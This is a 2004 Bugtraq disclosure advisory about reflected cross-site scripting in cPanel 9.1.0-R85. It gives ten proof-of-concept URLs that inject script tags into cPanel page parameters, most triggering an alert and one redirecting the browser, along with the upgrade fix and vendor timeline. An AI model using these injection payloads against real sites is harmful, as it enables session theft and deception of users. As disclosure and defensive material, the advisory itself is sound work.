bugtraq - Exensive cPanel Cross Site Scripting

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Date: Mon, 29 Mar 2004 19:51:40 -0500
From: sullo@...t.net
To: vulnwatch@...nwatch.org, bugtraq@...urityfocus.com
Subject: Exensive cPanel Cross Site Scripting

Description:
cPanel 9.1.0-R85 is vulnerable to Cross Site Scripting (XSS) in almost every
field which is returned to the browser. This could allow a user to create a
specially crafted URL that would execute arbitrary code in a user's browser
within the trust relationship between the browser and the server, leading to a
loss of integrity.

cPanel supports filtering of HTML and scripts in input variables, but according
to cPanel was not enabled in order to support third-party themes. In the
interest of properly securing cPanel, the developers have decided to enable
HTML filtering as of the first release in the April 1, 2004 EDGE release.

Systems Affected:
cPanel 9.1.0-R85

Technical Description:
Multiple variables in multiple cPanel programs do not filter user supplied
input. This could allow an attacker to perform Cross Site Scripting (XSS)
attacks against users of the cPanel system.

To check cPanel for CSS, simply access the following example URLs in a browser:
http://[victim]/frontend/x/cpanelpro/ignorelist.html?account="><script>alert('Vulnerable')</script>
http://[victim]/frontend/x/cpanelpro/showlog.html?account=<script>alert('Vulnerable')</script>
http://[victim]/frontend/x/sql/repairdb.html?db=<script>alert('Vulnerable')</script>
http://[victim]/frontend/x/ftp/doaddftp.html?login="><script>alert('Vulnerable')</script>
http://[victim]/frontend/x/cpanelpro/editmsg.html?account="><script>alert('Vulnerable')</script>
http://[victim]/frontend/x/testfile.html?email=<script>alert('Vulnerable')</script>
http://[victim]/frontend/x2/err/erredit.html?dir=public_html/&file=<script>alert('Vulnerable')</script>
http://[victim]/frontend/x2/net/dnslook.html?dns=</pre><script>window.location='http://www.cirt.net/'</script>
http://[victim]/frontend/x2/denyip/del.html?ip=<script>alert('Vulnerable')</script>
http://[victim]/frontend/x2/htaccess/index.html?dir=<script>alert('Vulnerable')</script>

If you receive a JavaScript pop-up alert or are redirect to another site, the
system is vulnerable to Cross Site Scripting.

Fix/Workaround:
Upgrade to the April 1, 2004 EDGE release or newer.

Vendor Status:
cPanel was contacted on 3/13/2004. They initiated discussion on 3/15/2004 and
decided course of action on 3/17/200

References:
Updated information can be found on OSVDB.org under the following entries:
http://www.osvdb.org/4208   cPanel testfile.html email Variable XSS
http://www.osvdb.org/4209   cPanel erredit.html file Variable XSS
http://www.osvdb.org/4210   cPanel dnslook.html dns Variable XSS
http://www.osvdb.org/4211   cPanel ignorelist.html account Variable XSS
http://www.osvdb.org/4212   cPanel showlog.html account Variable XSS
http://www.osvdb.org/4213   cPanel repairdb.html db Variable XSS
http://www.osvdb.org/4214   cPanel doaddftp.html login Variable XSS
http://www.osvdb.org/4215   cPanel editmsg.html account Variable XSS
http://www.osvdb.org/4243   cPanel del.html account Variable XSS

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